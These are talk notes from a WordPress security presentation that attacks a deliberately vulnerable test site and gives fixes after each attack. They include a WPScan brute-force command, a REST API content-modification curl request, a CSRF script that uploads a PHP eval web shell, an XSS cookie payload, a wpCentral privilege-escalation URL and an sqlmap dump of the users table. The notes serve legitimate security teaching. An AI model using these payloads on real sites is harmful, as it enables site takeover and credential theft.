Think Like a Hacker and Secure WordPress, live on stage

Recording from WordSesh APAC 2020

“What could I have done to avoid being hacked?” is a question you’ll often hear after a site is hacked. In some cases the answer is complicated, but a lot of the time it’s relatively simple and there are many checklists and guides online outlining the ways sites can be hacked, plus how to secure them. However, a lot of people learn better from seeing and doing than reading (often boring) checklists. So rather than look at checklists on slides for 30 minutes, we’re going to hack into WordPress instead!


We will target a vulnerable installation of WordPress and attack the usual weaknesses to compromise the site. After every attack we perform, we will make the required changes to block the attack, and then attempt to compromise the site again, hopefully unsuccessfully this time! The goal is to think like a hacker, learning what types of vulnerabilities exist and how they are exploited, so we can better protect our sites and block hackers before they get in. By the end of the talk, we should have a secure site and an incredibly frustrated hacker.

Presented at

Talk Notes

“Think Like a Hacker”

Wordfence Motto

The idea behind “Think Like a Hacker” is that if you can identify potential vulnerabilities and how they can be used to compromise your site, it puts you in a much better position to defend your site.

This mentality is important because it is very hard, if not impossible, to block an attack you don’t understand and don’t see coming. It is also quite easy to be distracted by superficial changes and security through obscurity (i.e. hiding something and hoping no one finds it), and ignore the bigger risks to your site.

My intention through demonstrating these vulnerabilities is to teach the mindset of a hacker by showing the different types of attacks that are possible and how they can be used.

Brute Force Password Attack

Weak or commonly-used passwords can be easily guessed using a brute force attack. This attack performs a lot of login attempts with different passwords, looking for the first one that works.

Example WPScan command to enumerate site users and run a brute force attack using the RockYou wordlist:

wpscan 
  --url https://hackwp.valorin.dev/ 
  --enumerate u 
  --passwords ./rockyou.txt 

What to do:

  • User: Use a strong and unique password for every site (store this in a password manager).
  • Site Owner: Install a login security plugin, such as Wordfence, to protect user accounts without strong passwords.

Unauthenticated Content Modification via API

WordPress 4.7.0-4.7.1 – Unauthenticated Page/Post Content Modification via REST API
Core ~ Disclosure

The REST API incorrectly accepted page/post id values containing strings, such as 123WCBNE. This then allowed an attacker to bypass authentication checks and modify an existing post with a single request to the site API.

The attack is trivial:

curl 
  --url "https://hackwp.valorin.dev/wp-json/wp/v2/posts/1?id=1WCBNE" 
  --data "title=Greetings&content=Good Morning WordCamp Brisbane!"

What to do:

  • Site Owner: Ensure automatic updates are working, or if not, ensure WordPress Core is updated as soon as a patch is released.
  • Developer: Validate all input is in the correct format. In this case, ensuring id is an integer before performing any actions on it.

Cross-Site Request Forgery (CSRF) allowing File Upload

This vulnerability was only demonstrated at WordCamp Brisbane 2019. The new default SameSite=Lax cookie attribute in Google Chrome prevents this vulnerability from working.

IP Address Blocker <= 10.3 – CSRF leading to Arbitrary File Upload
Plugin

Cross-Site Request Forgery (CSRF) attacks rely on the target site not adequately checking requests are real before performing them. If the hacker can trick the victim (a known user of the target site) into visiting a malicious site, the malicious site can perform a forged request to the target site in the victim’s browser. This forged request can perform actions on the site, which can be anything from defacement through to uploading code to be executed.

In this instance, this plugin wasn’t performing Nonce checks, and as such all of the options could be modified via a CSRF attack. This included the file upload option, which also didn’t provide any file type checks. The result being that raw PHP files could be uploaded, and then executed on the site, leading to remote code execution.

Example CSRF with RCE payload:

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://hackwp.valorin.dev/wp-admin/admin.php?page=lionscripts-ip-address-blocker&block_type=upload", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data;boundary=----WebKitFormBoundaryhN9WAmNvxqkUbpBu");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryhN9WAmNvxqkUbpBu\r\n" +
    "Content-Disposition: form-data; name=\"input_ips_csv_upload_lite\"; filename=\"shell.php\"\r\n" +
    "\r\n" +
    "<?php if (isset($_GET['hack'])){echo'Stephen\\\'s Sneaky Shell<form method=GET action=><input name=hack size=50 value=\"'.htmlentities($cmd=stripslashes($_GET['hack']?:'print_r(scandir(\\\'../../../../\\\'))')).'\" autofocus><input type=submit></form><pre>'; eval($cmd.';'); die();}\r\n" +
    "\r\n" +
    "------WebKitFormBoundaryhN9WAmNvxqkUbpBu\r\n" +
    "Content-Disposition: form-data; name=\"submit\"\r\n" +
    "\r\n" +
    "UploadCSV\r\n" +
    "------WebKitFormBoundaryhN9WAmNvxqkUbpBu--\r\n"
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++) {
    aBody[i] = body.charCodeAt(i);
}
xhr.send(new Blob([aBody]));
</script>

What to do:

  • Site Owner: Update plugins (and themes!) as soon as updates are available. If delay required, check release notes for any security fixes and prioritise updates if so.
  • Site Owner: Open suspicious links, especially in comments in Incognito/Private Browsing. This prevents the malicious site from accessing your logged in session.
  • Developer: Use WordPress Nonces. They are super simple, so just use them. ?

Privilege Escalation

This vulnerability was added for WordSesh APAC 2020, and future events.

wpCentral < 1.5.1 – Improper Access Control to Privilege Escalation
Plugin ~ Analysis

Privilege Escalation vulnerabilities allow a hacker to increase their privileges beyond the level they are supposed to have access to. In some cases, a privilege escalation only has minor benefits (i.e. changing unimportant settings), that is not the case with the vulnerability in this plugin. Exploiting this vulnerability provides the hacker with full access to the WordPress administrator account. With this level of access, the hacker can do whatever they like with the site and the database.

The hacker requires access to existing user account on the WordPress site to exploit this vulnerability. If subscriptions are enabled on the site, this will give them exactly what they need to gain access.

The plugin is vulnerable due to the wpCentral Connection Key being included on all /wp-admin pages when the user is logged in – regardless of access level (i.e. subscribers can access it!). Once logged in, the hacker can view the HTML source of the page to find the connection key:

wpCentral Connection Key in subscriber dashboard.

Once the key has been obtained, the hacker simply needs to log out and then visit the vulnerable connection endpoint in the browser:

/wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key=<key>

The hacker will then be logged in as an administrator automatically.

This vulnerability occurred due to the connection key being included o the page through the admin_footer action. It appears the assumption was made that only administrators would see it based on the name of the action. In reality, admin_footer is displayed for all users within /wp-admin. The user privileges should have been checked to ensure the user was an admin.

This vulnerability was discovered by the team at Wordfence and privately disclosed to the vendor. An update was released which patched the vulnerability prior to the details being released.

What to do:

  • Site Owner: Update plugins (and themes!) as soon as updates are available. If delay required, check release notes for any security fixes and prioritise updates if so.
  • Developer: Don’t assume actions and functions like admin_footer and is_admin() are Administrator-only. Use a function like current_user_can(‘administrator’) instead.

Zero-Day Stored Cross-Site Scripting (XSS)

Abandoned Cart Lite for WooCommerce <= 5.1.3 – Stored Cross-Site Scripting (XSS)
Plugin ~ Analysis

Cross-Site Scripting (XSS) happens when user input isn’t correctly sanitised and escaped when accepted and outputted. In this case, the plugin was saving the user input (customer name) directly into the database without any form of sanitisation. It was then rendered directly to the admin user, which allowed any JavaScript stored within the field to be executed as an admin. As a result, this allowed the attacker to create their own admin user, gaining full access to the site.

A Zero-Day is a vulnerability that is being actively exploited in the wild, before the developer is informed, or has a chance to fix it. These are especially dangerous as no updates are available to be applied, and as such you have limited options to protect your site. This is the purpose of a Web Application Firewall, such as Wordfence. A Firewall will block attempts to exploit known vulnerabilities such as this before the underlying vulnerability can be patched.

Example XSS payload in Last Name field:

<script>alert("You've been pwned!\n\n"+document.cookie);</script>

What to do:

  • Site Owner: Install a Firewall, such as Wordfence, to protect your site before updates are available.
  • Developer: Sanitise and filter all user-supplied content.

Backdoor in Nulled Theme

Nulled plugins/themes are premium products that have been modified by a malicious third party to remove all license code and released for free. Some site owners will install and use these nulled products because they do not wish to pay a license fee, however they should be avoided at all costs. Nulled themes usually come with hidden links for the purposes of SEO injection (at the expense of your site reputation) and also often contain one or more backdoors. These backdoors allow hackers to take over your site.

What to do:

  • Site Owner: Delete all nulled themes and plugins immediately. Do not ever download or install them.

WordPress Installer Setup Attack

WordPress is installed by uploading the files to a web server and working through the setup wizard, providing database credentials and an administrator user. If the setup wizard isn’t completed after uploading the files, a hacker could find the installer and do the setup themselves. Once they have a working login, they can backdoor the installation and delete the wp-config.php file. The installer will look like nothing ever happened, and the site owner might finish the install without realising they’ve already been compromised.

Example installer setup attack script:

<script src="https://gist.github.com/valorin/68074f850f5a3ef54e63321525ebc0bf.js"></script>

What to do:

  • Site Owner: Only upload WordPress files when you’re ready to install.
  • Site Owner: Use htaccess or password protected directories to prevent access to the installer until completed.

SQL Injection via a Disabled Plugin

WP AutoSuggest 0.24 – Unauthenticated SQL Injection
Plugin

Some people are of the belief that disabled plugins cannot be used to compromise a site, however the code for disabled plugins can still be called, and vulnerabilities can still be exploited.

An SQL Injection (SQLi) vulnerability is where the raw database query can be modified by the attacker. This leads to attacks such as allowing an attacker to login without a valid password, modifying data stored in the database, or even downloading the entire database. In this case the output if the query isn’t known, which makes this a Blind SQL Injection, however the database provides methods for changing the execution time of the query under specific conditions, which allows all data to be extracted slowly.

This vulnerability is caused by database queries being used without preparing the database queries properly. Rather than prepare a secure query, it passes the raw user input directly into the query before executing it. This allows the attacker to modify the query for their own purposes.

Example sqlmap command to extract usernames, emails, and passwords:

sqlmap 
-u "https://hackwp.valorin.dev/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" 
--technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment 
-D hackwp -T hackwp_users -C user_login,user_pass,user_email --dump

What to do

  • Site Owner: Don’t leave deactivated plugins installed.
  • Developer: Use prepared statements when building database queries.

Useful Security Tools

  • Wordfence Security Plugin – Login Security, Firewall, and Malware Scanner for WordPress.
  • Wordfence Login Security – Standalone Login Security plugin.
  • 1Password – Personal Password Manager, for storing all of your passwords securely.
  • WPScan – WordPress Penetration Testing Tool, includes vulnerability scanner, username enumeration, and password brute force attacks.
  • WPScan Vulnerability Database – Database of known WordPress vulnerabilities (core, plugins, & themes).
  • sqlmap – Open source SQL injection penetration testing tool.